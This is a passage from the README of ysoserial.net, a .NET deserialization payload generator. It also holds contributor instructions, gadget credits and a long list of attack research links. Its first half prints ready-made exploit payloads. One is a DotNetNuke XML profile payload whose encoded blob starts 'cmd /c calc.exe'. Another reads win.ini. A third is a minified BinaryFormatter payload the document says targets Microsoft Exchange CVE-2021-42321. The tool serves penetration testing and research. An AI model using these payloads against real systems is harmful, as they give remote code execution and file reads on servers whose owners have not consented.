<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Generate a minified BinaryFormatter payload to exploit Exchange CVE-2021-42321 using the ActivitySurrogateDisableTypeCheck gadget inside the ClaimsPrincipal gadget.
> .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust
AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VTI5eWRHVmtVMlYwWURGYlcxTjVjM1JsYlM1VGRISnBibWNzYlhOamIzSnNhV0pkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSVNWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrTnZiWEJoY21semIyNURiMjF3WVhKbGNtQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxHMXpZMjl5YkdsaVhWMElBZ0FBQUFJQUFBQUpBd0FBQUFJQUFBQUpCQUFBQUFRREFBQUFTVk41YzNSbGJTNURiMnhzWldOMGFXOXVjeTVIWlc1bGNtbGpMa052YlhCaGNtbHpiMjVEYjIxd1lYSmxjbUF4VzF0VGVYTjBaVzB1VTNSeWFXNW5MRzF6WTI5eWJHbGlYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQUFHQndBQUFQMExQRkpsYzI5MWNtTmxSR2xqZEdsdmJtRnllU0I0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenBoUFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJZ2VHMXNibk02WWowaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlJSGh0Ykc1ek9tTTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtOdmJtWnBaM1Z5WVhScGIyNDdZWE56WlcxaWJIazlVM2x6ZEdWdExrTnZibVpwWjNWeVlYUnBiMjRpSUhodGJHNXpPbVE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExsSmxabXhsWTNScGIyNDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnWVRwTFpYazlJblI1Y0dVaUlFOWlhbVZqZEZSNWNHVTlJbnRoT2xSNWNHVWdZanBVZVhCbGZTSWdUV1YwYUc5a1RtRnRaVDBpUjJWMFZIbHdaU0krUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1TlpYUm9iMlJRWVhKaGJXVjBaWEp6UGp4aU9sTjBjbWx1Wno1VGVYTjBaVzB1VjI5eWEyWnNiM2N1UTI5dGNHOXVaVzUwVFc5a1pXd3VRWEJ3VTJWMGRHbHVaM01zVTNsemRHVnRMbGR2Y210bWJHOTNMa052YlhCdmJtVnVkRTF2WkdWc0xGWmxjbk5wYjI0OU5DNHdMakF1TUN4RGRXeDBkWEpsUFc1bGRYUnlZV3dzVUhWaWJHbGpTMlY1Vkc5clpXNDlNekZpWmpNNE5UWmhaRE0yTkdVek5Ud3ZZanBUZEhKcGJtYytQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKbWFXVnNaQ0lnVDJKcVpXTjBTVzV6ZEdGdVkyVTlJbnRUZEdGMGFXTlNaWE52ZFhKalpTQjBlWEJsZlNJZ1RXVjBhRzlrVG1GdFpUMGlSMlYwUm1sbGJHUWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4WWpwVGRISnBibWMrWkdsellXSnNaVUZqZEdsMmFYUjVVM1Z5Y205bllYUmxVMlZzWldOMGIzSlVlWEJsUTJobFkyczhMMkk2VTNSeWFXNW5QanhrT2tKcGJtUnBibWRHYkdGbmN6NDBNRHd2WkRwQ2FXNWthVzVuUm14aFozTStQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKelpYUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdVM1JoZEdsalVtVnpiM1Z5WTJVZ1ptbGxiR1I5SWlCTlpYUm9iMlJPWVcxbFBTSlRaWFJXWVd4MVpTSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2s5aWFtVmpkQzgrUEdJNlFtOXZiR1ZoYmo1MGNuVmxQQzlpT2tKdmIyeGxZVzQrUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVRXVjBhRzlrVUdGeVlXMWxkR1Z5Y3o0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNDhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJR0U2UzJWNVBTSnpaWFJOWlhSb2IyUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdZVHBUZEdGMGFXTWdZenBEYjI1bWFXZDFjbUYwYVc5dVRXRnVZV2RsY2k1QmNIQlRaWFIwYVc1bmMzMGlJRTFsZEdodlpFNWhiV1U5SWxObGRDSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2xOMGNtbHVaejV0YVdOeWIzTnZablE2VjI5eWEyWnNiM2REYjIxd2IyNWxiblJOYjJSbGJEcEVhWE5oWW14bFFXTjBhWFpwZEhsVGRYSnliMmRoZEdWVFpXeGxZM1J2Y2xSNWNHVkRhR1ZqYXp3dllqcFRkSEpwYm1jK1BHSTZVM1J5YVc1blBuUnlkV1U4TDJJNlUzUnlhVzVuUGp3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrMWxkR2h2WkZCaGNtRnRaWFJsY25NK1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStQQzlTWlhOdmRYSmpaVVJwWTNScGIyNWhjbmsrQkFVQUFBQWlVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNnTUFBQUFJUkdWc1pXZGhkR1VIYldWMGFHOWtNQWR0WlhSb2IyUXhBd01ETUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVTOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaTlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2drSUFBQUFDUWtBQUFBSkNnQUFBQVFJQUFBQU1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUWNBQUFBRWRIbHdaUWhoYzNObGJXSnNlUVowWVhKblpYUVNkR0Z5WjJWMFZIbHdaVUZ6YzJWdFlteDVEblJoY21kbGRGUjVjR1ZPWVcxbENtMWxkR2h2WkU1aGJXVU5aR1ZzWldkaGRHVkZiblJ5ZVFFQkFnRUJBUU13VTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaXRFWld4bFoyRjBaVVZ1ZEhKNUJnc0FBQUF1VTNsemRHVnRMa1oxYm1OZ01sdGJVM2x6ZEdWdExsTjBjbWx1WjEwc1cxTjVjM1JsYlM1UFltcGxZM1JkWFFZTUFBQUFDRzF6WTI5eWJHbGlDZ1lOQUFBQVZWQnlaWE5sYm5SaGRHbHZia1p5WVcxbGQyOXlheXhXWlhKemFXOXVQVFF1TUM0d0xqQXNRM1ZzZEhWeVpUMXVaWFYwY21Gc0xGQjFZbXhwWTB0bGVWUnZhMlZ1UFRNeFltWXpPRFUyWVdRek5qUmxNelVHRGdBQUFDQlRlWE4wWlcwdVYybHVaRzkzY3k1TllYSnJkWEF1V0dGdGJGSmxZV1JsY2dZUEFBQUFCVkJoY25ObENSQUFBQUFFQ1FBQUFDOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ1lBQUFBRVRtRnRaUXhCYzNObGJXSnNlVTVoYldVSlEyeGhjM05PWVcxbENWTnBaMjVoZEhWeVpRcE5aVzFpWlhKVWVYQmxFRWRsYm1WeWFXTkJjbWQxYldWdWRITUJBUUVCQUFNSURWTjVjM1JsYlM1VWVYQmxXMTBKRHdBQUFBa05BQUFBQ1E0QUFBQUdGQUFBQUNKVGVYTjBaVzB1VDJKcVpXTjBJRkJoY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw==
v2 branch is a copy of ysoserial.net (15/03/2018) that has been changed to work with .NET Framework 2.0 by irsdl. Although this project can be used with applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.
- Fork it
- Create your feature branch (
git checkout -b my-new-feature) - Commit your changes (
git commit -am 'Add some feature') - Push to the branch (
git push origin my-new-feature) - Create new Pull Request
Special thanks to all contributors:
$ ./ysoserial.exe --credit
ysoserial.net has been originally developed by Alvaro Munoz (@pwntester)
this tool is being maintained by Alvaro Munoz (@pwntester) and Soroush Dalili (@irsdl)
Credits for available gadgets:
ActivitySurrogateDisableTypeCheck
[Finders: Nick Landers]
ActivitySurrogateSelector
[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]
ActivitySurrogateSelectorFromFile
[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]
AxHostState
[Finders: Soroush Dalili]
BaseActivationFactory
[Finders: Piotr Bazydlo]
ClaimsIdentity
[Finders: Soroush Dalili]
ClaimsPrincipal
[Finders: jang]
DataSet
[Finders: James Forshaw] [Contributors: Soroush Dalili]
DataSetOldBehaviour
[Finders: Steven Seeley] [Contributors: Soroush Dalili]
DataSetOldBehaviourFromFile
[Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili]
DataSetTypeSpoof
[Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang]
GenericPrincipal
[Finders: Soroush Dalili]
GetterCompilerResults
[Finders: Piotr Bazydlo]
GetterSecurityException
[Finders: Piotr Bazydlo]
GetterSettingsPropertyValue
[Finders: Piotr Bazydlo]
ObjectDataProvider
[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans]
ObjRef
[Finders: Markus Wulftange]
PSObject
[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz]
ResourceSet
[Finders: Soroush Dalili]
RolePrincipal
[Finders: Soroush Dalili]
SessionSecurityToken
[Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili]
SessionViewStateHistoryItem
[Finders: Soroush Dalili]
TextFormattingRunProperties
[Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo]
ToolboxItemContainer
[Finders: @frycos]
TypeConfuseDelegate
[Finders: James Forshaw] [Contributors: Alvaro Munoz]
TypeConfuseDelegateMono
[Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili]
WindowsClaimsIdentity
[Finders: Soroush Dalili]
WindowsIdentity
[Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili]
WindowsPrincipal
[Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio]
XamlAssemblyLoadFromFile
[Finders: Soroush Dalili] [Contributors: russtone]
XamlImageInfo
[Finders: Piotr Bazydlo]
Credits for available plugins:
ActivatorUrl
Harrison Neal
Altserialization
Soroush Dalili
ApplicationTrust
Soroush Dalili
Clipboard
Soroush Dalili
DotNetNuke
discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch
GetterCallGadgets
Piotr Bazydlo
MachineKeySessionSecurityTokenHandler
L@2uR1te
NetNonRceGadgets
Piotr Bazydlo
Resx
Soroush Dalili
SessionSecurityTokenHandler
Soroush Dalili
SharePoint
CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up) - implemented by Soroush Dalili
ThirdPartyGadgets
Piotr Bazydlo
TransactionManagerReenlist
Soroush Dalili
ViewState
Soroush Dalili
Various other people have also donated their time and contributed to this project.
Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to find those who have helped developing more features or have fixed bugs.
- Attacking .NET serialization
- Friday the 13th: JSON Attacks - Slides
- Friday the 13th: JSON Attacks - Whitepaper
- Friday the 13th: JSON Attacks - Video(demos)
- Are you my Type? - Slides
- Are you my Type? - Whitepaper
- Exploiting .NET Managed DCOM
- Exploit Remoting Service
- Finding and Exploiting .NET Remoting over HTTP using Deserialisation
- .NET Remoting Revisited
- Bypassing .NET Serialization Binders
- Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization - Hexacon 2023 Whitepaper
- https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html
- https://web.archive.org/web/20190401191940/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/december/beware-of-deserialisation-in-.net-methods-and-classes-code-execution-via-paste/
- https://web.archive.org/web/20190330065542/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/
- https://web.archive.org/web/20180903005001/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-deserialisation-issues/
- https://web.archive.org/web/20191210003556/https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/
- https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://research.nccgroup.com/2019/08/23/getting-shell-with-xamlx-files/
- https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/
- https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/
- https://www.netspi.com/blog/technical/adversary-simulation/re-animating-activitysurrogateselector/
- https://blog.netwrix.com/2023/04/10/generating-deserialization-payloads-for-messagepack-cs-typeless-mode/
- https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
- https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
- https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6
- https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-014/-cyberark-password-vault-web-access-remote-code-execution
- https://labs.mwrinfosecurity.com/advisories/milestone-xprotect-net-deserialization-vulnerability/
- https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in-sharepoint-workflows/
- https://srcincite.io/blog/2018/08/31/you-cant-contain-me-analyzing-and-exploiting-an-elevation-of-privilege-in-docker-for-windows.html
- https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting-remote-code-execution-on-microsoft-exchange-server
- https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf
- https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
- https://www.zerodayinitiative.com/blog/2019/10/23/cve-2019-1306-are-you-my-index
- https://labs.withsecure.com/blog/autocad-designing-a-kill-chain/
- https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
- https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/
- https://blog.devsecurity.eu/en/blog/dnspy-deserialization-vulnerability
- https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
- https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://www.thezdi.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters
- https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/
- https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
- https://srcincite.io/pocs/cve-2020-16952.py.txt
- https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters
- https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-_new_security_advisory_regarding_vulnerabilities_in__net/index.html
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability
- https://blog.liquidsec.net/2021/06/01/asp-net-cryptography-for-pentesters/
- https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
- https://www.mdsec.co.uk/2021/09/nsa-meeting-proposal-for-proxyshell/
- https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d
- https://www.zerodayinitiative.com/blog/2021/3/17/cve-2021-27076-a-replay-style-deserialization-attack-against-sharepoint
- https://blog.assetnote.io/2021/11/02/sitecore-rce/
- https://web.archive.org/web/20220619183339/https://starlabs.sg/blog/2022/05/new-wine-in-old-bottle-microsoft-sharepoint-post-auth-deserialization-rce-cve-2022-29108/
- https://gmo-cybersecurity.com/blog/net-remoting-english/
- https://www.mdsec.co.uk/2022/03/abc-code-execution-for-veeam/
- https://www.mandiant.com/resources/hunting-deserialization-exploits
- https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/
- https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd
- https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c
- https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform
- https://www.youtube.com/watch?v=ZcOZNAmKR0c&feature=youtu.be
- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://speakerdeck.com/pwntester/attacking-net-serialization
- https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints
- https://gosecure.github.io/presentations/2018-03-18-confoo_mtl/Security_boot_camp_for_.NET_developers_Confoo_v2.pdf
- https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf
- https://nullcon.net/website/archives/pdf/goa-2018/rohit-slides.pdf